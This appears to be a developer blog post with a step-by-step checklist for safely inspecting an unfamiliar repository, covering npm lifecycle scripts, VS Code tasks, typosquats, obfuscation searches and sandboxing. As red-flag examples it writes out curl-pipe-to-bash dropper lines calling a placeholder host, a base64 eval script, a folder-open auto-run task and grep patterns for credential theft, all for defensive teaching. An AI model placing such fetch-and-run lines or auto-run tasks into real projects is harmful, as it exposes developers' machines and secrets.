Post

How to safely inspect a repository before running anything on your machine

How to safely inspect a repository before running anything on your machine

This is the hands-on companion to Watch out, your recruiter might be a scam.

That article explains the threat: fake recruiters, malicious take-home assignments, VS Code task abuse, npm lifecycle scripts, and developer machines full of useful secrets.

This one is the playbook.

Every developer eventually needs to inspect an unfamiliar repository. A technical test. A project from a contractor. An open source repo someone asked you to review. A reproduction case from a bug report.

The question is not “should I trust it blindly?”

The question is “what do I check before I run anything?”

Here is the checklist I would use.

Step 0: before you even clone, scan it online

Start before the repository touches your machine.

Use scanrepo.dev. Paste the GitHub repository URL and let it scan for patterns like hidden malware, credential theft, suspicious domains, hardcoded IPs, obfuscated source, malicious scripts, and risky packages.

That is the mandatory first step now.

Not because a scanner can prove a repo is safe. It cannot. But it can catch the obvious bad cases before you give the code a local filesystem, your editor, your shell, your SSH agent, your package manager, or your credentials.

Then check Socket, especially for npm projects. Socket is useful because it focuses on supply-chain behavior: malware, typosquats, install scripts, protestware, telemetry, suspicious package behavior, and dependency risk.

For public GitHub repos, also check:

  • the Security tab
  • dependency graph
  • Dependabot alerts
  • open security advisories
  • recent issues mentioning malware, scam, compromised, token, postinstall, or suspicious

GitHub says Dependabot alerts appear in the Security tab and dependency graph when known vulnerable dependencies are detected. It also says Dependabot does not catch every security issue and does not generate alerts for malware. Treat it as one signal, not a verdict.

Useful commands once you are still outside the repo:

1
2
3
4
5
6
7
8
9
# Look at metadata without cloning
gh repo view OWNER/REPO --json nameWithOwner,description,createdAt,pushedAt,defaultBranchRef,repositoryTopics

# Check recent issue language
gh issue list --repo OWNER/REPO --state all --limit 50 \
  --search "malware OR scam OR compromised OR postinstall OR suspicious"

# Check recent PRs
gh pr list --repo OWNER/REPO --state all --limit 30

If the online scan is ugly, stop there.

Step 1: read package.json before npm install

For Node projects, package.json is executable territory.

The dangerous part is not only npm start. Lifecycle scripts can run during install.

The npm documentation lists scripts such as preinstall, install, postinstall, prepublish, prepare, and postprepare in the npm install lifecycle. prepare also runs on local installs without arguments, and git dependencies with a prepare script can install dependencies and run that script before packaging.

So read first.

1
2
3
4
5
# Do not install. Just inspect.
jq '.scripts // {}' package.json

# If jq is not available
node -e "const p=require('./package.json'); console.log(p.scripts || {})"

Red flags:

1
2
3
4
5
6
7
{
  "scripts": {
    "preinstall": "curl https://example.invalid/dropper.sh | bash",
    "postinstall": "node ./scripts/setup.js",
    "prepare": "node -e \"eval(Buffer.from('...', 'base64').toString())\""
  }
}

Be suspicious of:

  • curl, wget, bash, sh, powershell, osascript
  • node -e
  • eval
  • Function
  • Buffer.from(..., 'base64')
  • minified one-line scripts
  • calls to random domains
  • scripts that read .env, home directories, SSH keys, browser profiles, or wallet paths

If you need dependencies for static inspection, use:

1
npm install --ignore-scripts

That installs packages without running lifecycle scripts. It is not a complete sandbox, but it removes a common automatic execution path.

For npm audits without installing first:

1
2
npm audit --package-lock-only
npx @socketsecurity/cli scan

If you do not already trust npx in this context, run scanner tooling outside the project or inside a disposable container.

Step 2: check .vscode/tasks.json

VS Code tasks are source-controlled code execution.

Microsoft’s Workspace Trust documentation is blunt about this: task definitions live in the workspace .vscode folder, are shared with everyone who clones the repo, and can run scripts or tool binaries.

Look for:

1
2
3
test -f .vscode/tasks.json && jq . .vscode/tasks.json
test -f .vscode/settings.json && jq . .vscode/settings.json
test -f .vscode/launch.json && jq . .vscode/launch.json

Red flags in .vscode/tasks.json:

1
2
3
4
5
6
7
8
9
10
11
12
{
  "version": "2.0.0",
  "tasks": [
    {
      "type": "shell",
      "command": "curl https://example.invalid/d.sh | bash",
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

Check for:

  • runOn: folderOpen
  • shell commands
  • external URLs
  • curl | bash
  • base64 payloads
  • references to ~/.vscode/, /tmp, %TEMP%, or user profile directories
  • preLaunchTask in launch.json
  • workspace settings pointing extensions at project-local executables

Do not trust a folder until you have read these files.

Step 3: keep VS Code Workspace Trust in Restricted Mode

When VS Code asks whether you trust an unfamiliar folder, the safe answer is:

No, I don’t trust the authors.

Open it in Restricted Mode first.

VS Code says Restricted Mode disables or limits automatic code execution paths including AI agents, terminal, tasks, debugging, workspace settings, and extensions. You can still browse and edit source code. That is exactly what you want during inspection.

Configure this deliberately:

1
Settings -> Security -> Workspace Trust

Useful settings to review:

1
2
3
4
5
6
{
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.startupPrompt": "always",
  "security.workspace.trust.untrustedFiles": "newWindow",
  "security.workspace.trust.emptyWindow": false
}

The practical rule:

  • unknown repo: Restricted Mode
  • known repo from your own trusted workspace: trusted
  • random interview project: Restricted Mode
  • repo from a stranger on LinkedIn: Restricted Mode
  • repo from a new dependency vendor: Restricted Mode

If the project needs trust to function, that is a decision for after inspection, not before.

Step 4: audit the dependency tree for typosquats

Typosquatting is boring and effective.

The malicious package does not need to be named definitely-malware. It can be named one character away from the thing you expected.

Examples to watch for:

  • epxress instead of express
  • dotevn instead of dotenv
  • boby_parser instead of body-parser
  • cors-validator instead of cors
  • morgan-logger instead of morgan

Start with direct dependencies:

1
jq '.dependencies // {}, .devDependencies // {}' package.json

If you already installed with scripts disabled:

1
npm ls --depth=0

Then inspect suspicious packages:

1
2
npm view PACKAGE_NAME name version description repository maintainers time
npm view PACKAGE_NAME scripts

Socket is useful here too:

1
npx @socketsecurity/cli scan

Also check for dependency confusion:

  • internal-looking package names in a public registry
  • packages with almost no downloads but broad permissions
  • packages published very recently
  • packages with maintainers that do not match the expected project
  • packages whose repository link does not match the package contents

Do not assume a lockfile saves you. A lockfile tells you what will install. It does not tell you that what will install is safe.

Step 5: look for obfuscated code

Malware authors hide the first stage because the first stage is what gets reviewed.

Search for common obfuscation and execution patterns:

1
2
3
4
5
# Prefer ripgrep when available
rg -n "eval\\(|Function\\(|child_process|exec\\(|spawn\\(|fork\\(" .
rg -n "Buffer\\.from\\(|atob\\(|fromCharCode|base64|btoa\\(" .
rg -n "curl|wget|powershell|osascript|nohup|chmod \\+x" .
rg -n "process\\.env|\\.ssh|aws_access_key|GITHUB_TOKEN|NPM_TOKEN|wallet|metamask|seed" .

Avoid scanning node_modules unless you intentionally want the noise:

1
2
3
4
5
rg -n "eval\\(|Function\\(|Buffer\\.from\\(|child_process|curl|wget" \
  --glob '!node_modules' \
  --glob '!dist' \
  --glob '!build' \
  .

Signs of trouble:

  • long encoded strings
  • one-line minified files in places that should be source code
  • dynamic imports from remote URLs
  • code that behaves differently on macOS, Linux, or Windows
  • code that only activates when environment variables exist
  • code that reads browser profile paths
  • code that enumerates home directories
  • code that posts environment variables to an API

If you find obfuscation in a take-home assignment, the burden of proof shifts. They need to explain why it exists before you run anything.

Step 6: check hidden files and directories

Hidden files are not automatically suspicious. Real projects use them constantly.

But hidden files are where editor automation, package manager config, hooks, and local execution traps often live.

List everything:

1
2
ls -la
find . -maxdepth 3 -name ".*" -print | sort

Inspect the usual places:

1
find .github .vscode .idea .husky .npmrc .yarnrc.yml .env* 2>/dev/null -maxdepth 3 -type f -print

Check git hooks if the repo came with a .git directory:

1
find .git/hooks -type f -maxdepth 1 -print 2>/dev/null

For unknown repos, also search for files that should not be in a normal coding test:

1
2
3
4
5
6
7
8
9
10
find . -type f \\( \
  -name "*.sh" -o \
  -name "*.ps1" -o \
  -name "*.command" -o \
  -name "*.scpt" -o \
  -name "*.jar" -o \
  -name "*.dylib" -o \
  -name "*.so" -o \
  -name "*.exe" \
\\) -print

If you accidentally ran something, inspect common persistence locations:

1
2
3
4
5
6
7
8
9
# macOS
ls -la ~/Library/LaunchAgents/
ls -la ~/.vscode/
ls -la ~/.npm/

# Linux
crontab -l
ls -la ~/.config/systemd/user/
ls -la ~/.npm/

If new files appeared there after running a repo, stop using the machine for secrets until you understand what happened.

Step 7: if you must run it, use a VM or container

Never run an untrusted repo on your main machine just because the assignment says so.

Use a disposable environment.

Fast option for Node inspection:

1
docker run --rm -it --network none -v "$PWD:/work:ro" -w /work node:20-alpine sh

Inside the container:

1
2
3
4
node -v
npm -v
npm install --ignore-scripts
npm test

The important flag is:

1
--network none

If the code cannot reach the internet, it cannot phone home, fetch a second stage, or exfiltrate secrets over the network. That does not make it harmless, but it removes the most important channel.

For interactive work, use one of these:

  • GitHub Codespaces
  • a disposable UTM/VirtualBox/Parallels VM
  • a dedicated low-privilege local user account
  • VS Code Dev Containers
  • a container with read-only mounts
  • a cloud VM with no personal secrets

Do not mount:

  • your home directory
  • ~/.ssh
  • ~/.aws
  • ~/.config/gcloud
  • browser profiles
  • password manager data
  • wallet directories
  • your normal workspace root
  • Docker socket

This is a bad idea:

1
docker run -v "$HOME:$HOME" -v /var/run/docker.sock:/var/run/docker.sock ...

That gives the untrusted code access to the things you were trying to protect.

Step 8: monitor what runs

If you run suspicious code in a sandbox, watch it.

Network:

1
2
3
4
5
# macOS
lsof -i -n -P | grep -E "node|python|ruby|java|npm"

# Linux
ss -tulpn | grep -E "node|python|ruby|java|npm"

Processes:

1
ps aux | grep -E "node|python|curl|wget|bash|sh|osascript|powershell"

Filesystem on macOS:

1
sudo fs_usage -f pathname node

Persistence checks:

1
2
3
4
5
6
7
8
9
# macOS
crontab -l
ls -la ~/Library/LaunchAgents/
launchctl list | grep -i node

# Linux
crontab -l
systemctl --user list-units
ls -la ~/.config/systemd/user/

If you see unexpected network calls, files written outside the project directory, or persistence attempts, assume compromise inside the sandbox and destroy the environment.

Do not “clean it up” manually and keep using the same VM. Rebuild it.

Quick reference card

StepToolWhat you are checking
0scanrepo.dev, Socket, GitHub Security tabKnown malicious patterns, dependency risks, obvious red flags
1package.json, npm docs, npm install --ignore-scriptsLifecycle scripts: preinstall, postinstall, prepare, install
2.vscode/tasks.json, .vscode/settings.json, .vscode/launch.jsonAuto-run tasks, runOn: folderOpen, curl | bash, preLaunchTask
3VS Code Workspace TrustRestricted Mode before trusting unknown code
4npm view, npm ls, Socket CLITyposquats, new packages, suspicious maintainers, dependency confusion
5rg, grepObfuscated eval, Function, base64, child_process, credential access
6ls -la, findHidden files, hooks, editor config, shell scripts, persistence locations
7Docker, VM, CodespacesIsolated execution with no host secrets; prefer --network none
8lsof, ss, ps, fs_usage, crontab, launchctlNetwork calls, filesystem changes, persistence, suspicious child processes

My default safe flow

If I receive an unfamiliar repo today, this is the shortest version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 1. Scan online first
# Use https://www.scanrepo.dev/ and Socket/GitHub Security tab.

# 2. Clone without opening in an editor yet
git clone --depth 1 REPO_URL suspicious-repo
cd suspicious-repo

# 3. Inspect obvious execution surfaces
find . -maxdepth 3 -type f \\( \
  -name "package.json" -o \
  -path "./.vscode/*" -o \
  -name "*.sh" -o \
  -name "*.ps1" -o \
  -name ".npmrc" -o \
  -name ".env*" \
\\) -print

# 4. Search for common bad patterns
rg -n "eval\\(|Function\\(|child_process|Buffer\\.from\\(|atob\\(|curl|wget|process\\.env|\\.ssh|wallet" \
  --glob '!node_modules' .

# 5. If it is Node, install only with scripts disabled
npm install --ignore-scripts

# 6. If execution is necessary, run inside an isolated environment
docker run --rm -it --network none -v "$PWD:/work:ro" -w /work node:20-alpine sh

That flow is not perfect. It is just much better than:

1
2
3
4
git clone REPO_URL
code suspicious-repo
npm install
npm start

That old muscle memory is exactly what modern developer-targeted malware abuses.

The rule

Unknown repository means unknown executable.

Treat it that way.

Do not run it on your main machine. Do not grant editor trust before inspection. Do not run package installs that execute scripts. Do not mount your secrets into a container. Do not let interview pressure turn into operational compromise.

A legitimate recruiter, company, colleague, or open source maintainer can handle a careful inspection process.

If they cannot, that is information.

Read the companion threat write-up here:

Watch out, your recruiter might be a scam

References

This post is licensed under CC BY 4.0 by the author.